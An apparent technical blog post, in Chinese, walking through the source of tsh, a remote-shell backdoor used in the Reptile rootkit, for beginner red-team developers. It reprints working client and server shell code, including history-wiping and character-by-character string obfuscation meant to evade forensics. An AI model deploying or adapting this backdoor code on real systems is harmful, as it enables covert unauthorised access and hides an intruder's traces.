Tsh源码阅读和分析

tsh是一款轻量级远程shell工具，可在多个平台上编译运行，被集成在较为完善的Linux rootkit Reptile 中

  • 其实现了文件传输和真正的交互shell，交互全程用aes和sha1加密
  • 代码量比socat小，但很精巧，适合初级红队开发者进行学习
  • 本篇的关键在 tty和pty的设置与使用， 其余涉及一点点信号、网络、多进程操作、IO模型会简略提一下

0x00 目录结构

  1. tsh
  2. ├── aes.c # aes加密算法实现
  3. ├── aes.h # aes头文件
  4. ├── ChangeLog 
  5. ├── Makefile # makefile中带有多种系统的简单编译选项
  6. ├── pel.c # packet encrypt layer 报文加密的逻辑实现
  7. ├── pel.h # 报文加密头文件
  8. ├── README
  9. ├── sha1.c # sha1加密算法实现
  10. ├── sha1.h # sha1头文件
  11. ├── tsh.c # tsh客户端实现
  12. ├── tshd.c # tsh服务端实现
  13. └── tsh.h # tsh头文件

0x01 主逻辑分析

为了保证加密传输，作者将加密逻辑抽象出来形成 pel.[ch]（packet encrypt layer），对外提供4个接口，方便主逻辑调用

  1. int pel_client_init( int server, char *key ); // 初始化client加密
  2. int pel_server_init( int client, char *key ); // 初始化server加密
  4. int pel_send_msg( int sockfd, unsigned char *msg, int  length ); // 加密发送消息
  5. int pel_recv_msg( int sockfd, unsigned char *msg, int *length ); // 解密接收消息

0x11 tsh client流程

通过指定参数，支持三种基本功能

  • 交互shell
  • 获取文件
  • 传输文件

tsh codes reading - 图1

  • 输入选项可以指定：IP or 反连、端口、密码、获取文件、发送文件，仅输入IP则默认动作(action)为连接远程shell

tsh codes reading - 图2

  • 判断主被动连接
    • 主动连接，创建socket并bind绑定地址之后，主动使用connect连接远程server。
    • 被动连接，创建socket后bind地址，开启listen监听，使用accept等待连接到来
  • 连接到来后，先发送密码，若没有设置密码，则使用硬编码于代码中的默认密码，如果错误则需要用户手输，再次错误则认证失败。如果用-s设置了密码，错误则直接认证失败
  • 发送我们开头设置的动作(action)，失败则调用shutdown关闭两端的socket
  • 根据我们的action调用不同功能函数，runshell模式中如果设置了命令，则仅执行该命令后便返回

0x12 tshd server流程

tshd_server主流程

tsh codes reading - 图3

  • process_init子流程

tsh codes reading - 图4

  • 基本参数

tsh codes reading - 图5

  • server主流程使用fork，作用是保证进程后台运行，这样我们运行tshd的时候就不用手动加&符号令进程后台运行
  • while死循环处理到来连接。被动情况下等待client来连接我们，主动情况下如果连接不成功，则会等待5s，再次发起连接。连接成功时连接会交给process_client函数处理
  • 在process_client流程中，会使用创建孙进程并退出父、子进程的方法，令孙进程由init进程接管，达到避免出现僵尸进程的效果
  1. /* setup the packet encryption layer */
  3. alarm( 3 );
  5. ret = pel_server_init( client, secret );
  7. if( ret != PEL_SUCCESS )
  8. {
  9.     shutdown( client, 2 );
  10.     return( 10 );
  11. }
  12. // 这里取消闹钟
  13. alarm( 0 );
  • 上面代码中alarm(3)的作用是给当前进程设置一个3秒的时钟，如果pel_server_init处理太慢，则操作系统会发送一个SIGALRM信号中断此进程，达到合理关闭该进程的效果。alarm(0)的作用是 如果流程正常进行，则取消闹钟

0x02 关键函数分析

  • tsh_runshell 客户端
  1. int tsh_runshell( int server, char *argv2 )
  2. {
  3.     fd_set rd;
  4.     char *term;
  5.     int ret, len, imf = 0;
  6.     struct winsize ws;
  7.     struct termios tp, tr;
  9.     /* send the TERM environment variable */
  10.     term = getenv( "TERM" );
  12.     if( term == NULL )
  13.     {
  14.         term = "vt100";
  15.     }
  16.     len = strlen( term );
  18.     ret = pel_send_msg( server, (unsigned char *) term, len );
  19.     if( ret != PEL_SUCCESS )
  20.     {
  21.         pel_error( "pel_send_msg" );
  22.         return( 22 );
  23.     }
  25.     // 判断当前文件描述符0是否指的是一个终端，是则返回1
  26.     if( isatty( 0 ) )
  27.     {
  28.         // 交互shell模式
  29.         imf = 1;
  31.         // ioctl能够对不同设备进行操作
  32.         // 这里是获取终端设备的窗口大小保存在ws中，用于传输给server
  33.         if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 )
  34.         {
  35.             perror( "ioctl(TIOCGWINSZ)" );
  36.             return( 23 );
  37.         }
  38.     }
  39.     else
  40.     {
  41.         // 默认窗口大小
  42.         ws.ws_row = 25;
  43.         ws.ws_col = 80;
  44.     }
  46.     // 把窗口大小数据填充到前四个char类型中，发给server处理
  47.     message[0] = ( ws.ws_row >> 8 ) & 0xFF;
  48.     message[1] = ( ws.ws_row      ) & 0xFF;
  50.     message[2] = ( ws.ws_col >> 8 ) & 0xFF;
  51.     message[3] = ( ws.ws_col      ) & 0xFF;
  53.     ret = pel_send_msg( server, message, 4 );
  54.     if( ret != PEL_SUCCESS )
  55.     {
  56.         pel_error( "pel_send_msg" );
  57.         return( 24 );
  58.     }
  60.     /* send the system command */
  61.     len = strlen( argv2 );
  63.     ret = pel_send_msg( server, (unsigned char *) argv2, len );
  64.     if( ret != PEL_SUCCESS )
  65.     {
  66.         pel_error( "pel_send_msg" );
  67.         return( 25 );
  68.     }
  70.     /* set the tty to RAW */
  71.     // 判断文件描述符 1是否为tty
  72.     if( isatty( 1 ) )
  73.     {
  74.         // 获取文件描述符 1的属性，存储到tp中，以便后期还原
  75.         if( tcgetattr( 1, &tp ) < 0 )
  76.         {
  77.             perror( "tcgetattr" );
  78.             return( 26 );
  79.         }
  81.         // 把tp拷贝到tr中，我们后续修改就用tr
  82.         memcpy( (void *) &tr, (void *) &tp, sizeof( tr ) );
  84.         // 设置terminal属性
  85.         tr.c_iflag |= IGNPAR;
  86.         tr.c_iflag &= ~(ISTRIP|INLCR|IGNCR|ICRNL|IXON|IXANY|IXOFF);
  87.         tr.c_lflag &= ~(ISIG|ICANON|ECHO|ECHOE|ECHOK|ECHONL|IEXTEN);
  88.         tr.c_oflag &= ~OPOST;
  90.         tr.c_cc[VMIN]  = 1;
  91.         tr.c_cc[VTIME] = 0;
  93.            // 设置文件描述符 1的属性
  94.         if( tcsetattr( 1, TCSADRAIN, &tr ) < 0 )
  95.         {
  96.             perror( "tcsetattr" );
  97.             return( 27 );
  98.         }
  99.     }
  101.     // select多路复用模型 收发数据
  102.     while( 1 )
  103.     {
  104.           // 清空rd集合
  105.         FD_ZERO( &rd );
  107.         if( imf != 0 )
  108.         {
  109.             // 如果是交互模式，那么把标准输入放到rd集合中
  110.             FD_SET( 0, &rd );
  111.         }
  112.         // 把server标识符放到rd集合中
  113.         FD_SET( server, &rd );
  115.         // select系统调用
  116.         // 当rd中某个被置入的标识符出现可读数据时解除阻塞
  117.         if( select( server + 1, &rd, NULL, NULL, NULL ) < 0 )
  118.         {
  119.             perror( "select" );
  120.             ret = 28;
  121.             break;
  122.         }
  124.         // 判断出现可读数据的是否为server标识符
  125.         // 处理server返回信息
  126.         if( FD_ISSET( server, &rd ) )
  127.         {
  128.             // 接收server数据
  129.             ret = pel_recv_msg( server, message, &len );
  131.             if( ret != PEL_SUCCESS )
  132.             {
  133.                 if( pel_errno == PEL_CONN_CLOSED )
  134.                 {
  135.                     ret = 0;
  136.                 }
  137.                 else
  138.                 {
  139.                     pel_error( "pel_recv_msg" );
  140.                     ret = 29;
  141.                 }
  142.                 break;
  143.             }
  145.             // 将数据写入标准输出标识符（即显示到控制台）
  146.             if( write( 1, message, len ) != len )
  147.             {
  148.                 perror( "write" );
  149.                 ret = 30;
  150.                 break;
  151.             }
  152.         }
  154.         // 判断出现可读数据的是否为标准输入标识符（即用户输入）
  155.         // 处理用户输入
  156.         if( imf != 0 && FD_ISSET( 0, &rd ) )
  157.         {
  158.             // 读取用户的输入到message
  159.             len = read( 0, message, BUFSIZE );
  161.             if( len == 0 )
  162.             {
  163.                 fprintf( stderr, "stdin: end-of-file\n" );
  164.                 ret = 31;
  165.                 break;
  166.             }
  168.             if( len < 0 )
  169.             {
  170.                 perror( "read" );
  171.                 ret = 32;
  172.                 break;
  173.             }
  175.             // 发送给server
  176.             ret = pel_send_msg( server, message, len );
  178.             if( ret != PEL_SUCCESS )
  179.             {
  180.                 pel_error( "pel_send_msg" );
  181.                 ret = 33;
  182.                 break;
  183.             }
  184.         }
  185.     }
  187.     // 恢复之前的terminal数据
  188.     if( isatty( 1 ) )
  189.     {
  190.         tcsetattr( 1, TCSADRAIN, &tp );
  191.     }
  193.     return( ret );
  194. }
  • tshd_runshell 服务端
  1. int tshd_runshell( int client )
  2. {
  3.     fd_set rd;
  4.     struct winsize ws;
  5.     char *slave, *temp, *shell;
  6.     int ret, len, pid, pty, tty, n;
  8.     // 获取一个伪终端 pseudo-tty
  9.     // 这里用宏在编译的时候做了跨平台的处理，实现功能相同，我们当前暂时关心Linux部分
  11. #if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF
  13.     // 自动获取一个伪终端，在/dev/pts下最大值 + 1
  14.     if( openpty( &pty, &tty, NULL, NULL, NULL ) < 0 )
  15.     {
  16.         return( 24 );
  17.     }
  19.     // 获取当前伪终端的完整路径
  20.     slave = ttyname( tty );
  22.     if( slave == NULL )
  23.     {
  24.         return( 25 );
  25.     }
  27. #else
  28. #if defined IRIX
  30.     slave = _getpty( &pty, O_RDWR, 0622, 0 );
  32.     if( slave == NULL )
  33.     {
  34.         return( 26 );
  35.     }
  37.     tty = open( slave, O_RDWR | O_NOCTTY );
  39.     if( tty < 0 )
  40.     {
  41.         return( 27 );
  42.     }
  44. #else
  45. #if defined CYGWIN || defined SUNOS || defined HPUX
  47.     pty = open( "/dev/ptmx", O_RDWR | O_NOCTTY );
  49.     if( pty < 0 )
  50.     {
  51.         return( 28 );
  52.     }
  54.     if( grantpt( pty ) < 0 )
  55.     {
  56.         return( 29 );
  57.     }
  59.     if( unlockpt( pty ) < 0 )
  60.     {
  61.         return( 30 );
  62.     }
  64.     slave = ptsname( pty );
  66.     if( slave == NULL )
  67.     {
  68.         return( 31 );
  69.     }
  71.     tty = open( slave, O_RDWR | O_NOCTTY );
  73.     if( tty < 0 )
  74.     {
  75.         return( 32 );
  76.     }
  78. #if defined SUNOS || defined HPUX
  80.     if( ioctl( tty, I_PUSH, "ptem" ) < 0 )
  81.     {
  82.         return( 33 );
  83.     }
  85.     if( ioctl( tty, I_PUSH, "ldterm" ) < 0 )
  86.     {
  87.         return( 34 );
  88.     }
  90. #if defined SUNOS
  92.     if( ioctl( tty, I_PUSH, "ttcompat" ) < 0 )
  93.     {
  94.         return( 35 );
  95.     }
  97. #endif
  98. #endif
  99. #endif
  100. #endif
  101. #endif
  103.     /* just in case bash is run, kill the history file */
  105.     temp = (char *) malloc( 10 );
  107.     if( temp == NULL )
  108.     {
  109.         return( 36 );
  110.     }
  112.     temp[0] = 'H'; temp[5] = 'I';
  113.     temp[1] = 'I'; temp[6] = 'L';
  114.     temp[2] = 'S'; temp[7] = 'E';
  115.     temp[3] = 'T'; temp[8] = '=';
  116.     temp[4] = 'F'; temp[9] = '\0';
  118.     // 将环境变量HISTFILE置空，让/root/.bash_history不记录我们的shell操作
  119.     putenv( temp );
  121.     // 获取client端的Term环境变量
  122.     ret = pel_recv_msg( client, message, &len );
  123.     if( ret != PEL_SUCCESS )
  124.     {
  125.         return( 37 );
  126.     }
  127.     message[len] = '\0';
  129.     temp = (char *) malloc( len + 6 );
  130.     if( temp == NULL )
  131.     {
  132.         return( 38 );
  133.     }
  135.     temp[0] = 'T'; temp[3] = 'M';
  136.     temp[1] = 'E'; temp[4] = '=';
  137.     temp[2] = 'R';
  139.     strncpy( temp + 5, (char *) message, len + 1 );
  141.     putenv( temp );
  143.     /* 获取terminal的row和col大小 */
  144.     ret = pel_recv_msg( client, message, &len );
  145.     if( ret != PEL_SUCCESS || len != 4 )
  146.     {
  147.         return( 39 );
  148.     }
  150.     ws.ws_row = ( (int) message[0] << 8 ) + (int) message[1];
  151.     ws.ws_col = ( (int) message[2] << 8 ) + (int) message[3];
  153.     ws.ws_xpixel = 0;
  154.     ws.ws_ypixel = 0;
  156.     // 设置当前伪终端的宽高
  157.     if( ioctl( pty, TIOCSWINSZ, &ws ) < 0 )
  158.     {
  159.         return( 40 );
  160.     }
  162.     // 获取client传输的命令
  163.     ret = pel_recv_msg( client, message, &len );
  164.     if( ret != PEL_SUCCESS )
  165.     {
  166.         return( 41 );
  167.     }
  168.     message[len] = '\0';
  170.     temp = (char *) malloc( len + 1 );
  171.     if( temp == NULL )
  172.     {
  173.         return( 42 );
  174.     }
  176.     strncpy( temp, (char *) message, len + 1 );
  178.     // fork，使用子进程后台运行shell
  179.     pid = fork();
  181.     if( pid < 0 )
  182.     {
  183.         return( 43 );
  184.     }
  186.     // 子进程用来作为shell
  187.     if( pid == 0 )
  188.     {
  189.         // fork会复制进程内的公有变量，子进程主要是作为后台shell执行命令并返回值给父进程，父进程用来管理pty和client通信，所以这里不需要client和pty
  190.         close( client );
  191.         close( pty );
  193.         // 创建session，新建进程组，防止terminal退出导致进程的死亡
  194.         if( setsid() < 0 )
  195.         {
  196.             return( 44 );
  197.         }
  199.         /* set controlling tty, to have job control */
  201. #if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF
  202.         // 清空tty设置？？
  203.         if( ioctl( tty, TIOCSCTTY, NULL ) < 0 )
  204.         {
  205.             return( 45 );
  206.         }
  208. #else
  209. #if defined CYGWIN || defined SUNOS || defined IRIX || defined HPUX
  211.         {
  212.             int fd;
  214.             fd = open( slave, O_RDWR );
  216.             if( fd < 0 )
  217.             {
  218.                 return( 46 );
  219.             }
  221.             close( tty );
  223.             tty = fd;
  224.         }
  226. #endif
  227. #endif
  229.         // 将标准输入、输出、错误输出复制到tty中
  230.         dup2( tty, 0 );
  231.         dup2( tty, 1 );
  232.         dup2( tty, 2 );
  234.         if( tty > 2 )
  235.         {
  236.             close( tty );
  237.         }
  239.         // 命令字符串开辟空间
  240.         shell = (char *) malloc( 8 );
  241.         if( shell == NULL )
  242.         {
  243.             return( 47 );
  244.         }
  246.         // "/bin/sh"
  247.         shell[0] = '/'; shell[4] = '/';
  248.         shell[1] = 'b'; shell[5] = 's';
  249.         shell[2] = 'i'; shell[6] = 'h';
  250.         shell[3] = 'n'; shell[7] = '\0';
  252.         // 当前子进程装载为/bin/sh shell
  253.         execl( shell, shell + 5, "-c", temp, (char *) 0 );
  255.         /* d0h, this shouldn't happen */
  257.         return( 48 );
  258.     }
  259.     else // 父进程，接收消息给后台sh作为转发
  260.     {
  261.         /* tty (slave side) not needed anymore */
  263.         close( tty );
  265.         // select多路复用模型 收发数据
  266.         while( 1 )
  267.         {
  268.             FD_ZERO( &rd );
  269.             FD_SET( client, &rd );
  270.             FD_SET( pty, &rd );
  272.             n = ( pty > client ) ? pty : client;
  274.             if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 )
  275.             {
  276.                 return( 49 );
  277.             }
  279.             // 父进程接收来自client消息
  280.             if( FD_ISSET( client, &rd ) )
  281.             {
  282.                 ret = pel_recv_msg( client, message, &len );
  284.                 if( ret != PEL_SUCCESS )
  285.                 {
  286.                     return( 50 );
  287.                 }
  289.                 // 直接把收到的消息写给pty
  290.                 if( write( pty, message, len ) != len )
  291.                 {
  292.                     return( 51 );
  293.                 }
  294.             }
  296.             // sh有消息写给父进程，那么父进程直接把消息发送给client
  297.             if( FD_ISSET( pty, &rd ) )
  298.             {
  299.                 // 从pty拿到后台tty执行命令后的返回值
  300.                 len = read( pty, message, BUFSIZE );
  302.                 if( len == 0 ) break;
  304.                 if( len < 0 )
  305.                 {
  306.                     return( 52 );
  307.                 }
  309.                 // 发送给client
  310.                 ret = pel_send_msg( client, message, len );
  311.                 if( ret != PEL_SUCCESS )
  312.                 {
  313.                     return( 53 );
  314.                 }
  315.             }
  316.         }
  318.         return( 54 );
  319.     }
  321.     /* not reached */
  323.     return( 55 );
  324. }

0x03 技术分析

0x31 pty 与 tty 数据传导

  • 相当于建立了管道连接

0x32 select IO多路复用模型

  • select多路复用模型是Linux中三种多路复用模型之一
    • 主要采取轮询文件标识符集合的模式，来达到高效率io目的
    • 主要适用于少量且活性高的标识符
    • select可以设置读、写、异常集合
  • 这里使用的目的：使用单线程来完成多个并发连接请求
    • 其实也能够用多线程来处理，即每次来一个连接请求，我们就开启一个线程去处理后续逻辑
  • tsh的做法：一开始清空集合，然后将需要的文件标识符放入读集合中，再调用select同时设置最大文件标识符，这样select会在0~Max之间遍历所有标识符

tsh codes reading - 图6

  • 当读集合中某个fd存在事件，那么select系统调用将会返回

tsh codes reading - 图7

  • 然后使用FD_ISSET，判断事件集合中本次存在事件的标识符具体是哪一个，处理其后续逻辑

tsh codes reading - 图8

0x0 总结

  1. 宏的使用，做到跨平台，Linux系统编程基本操作
  2. 使用孙进程，避免出现僵尸进程
  3. tty和pty的使用做到了真正的交互shell
    1. 这里说一下python shell，其连接后使用pty.spawn("/bin/bash")交互shell其实依然为某种程度哑shell，无法完成某些高交互进程(如：vim)的使用，需要进一步升级

tsh codes reading - 图9

  1. 设置窗口大小，控制返回值窗口
  2. 存在bug，输入./tshd asdf后台会一直创建进程，最终跑死机器

0x0 参考资料

[1] termios

[2] What’s the difference between various $TERM variables?

[3] 理解 Linux 中的 tty、pty、pts、console、terminal

[4] Why do I need to run “/bin/bash —login”

[5] Linux基础之终端、控制台、tty、pty简介说明

[6] 彻底理解 IO 多路复用实现机制

[7] Linux下的权限维持

[8] tinyhttpd 阅读与分析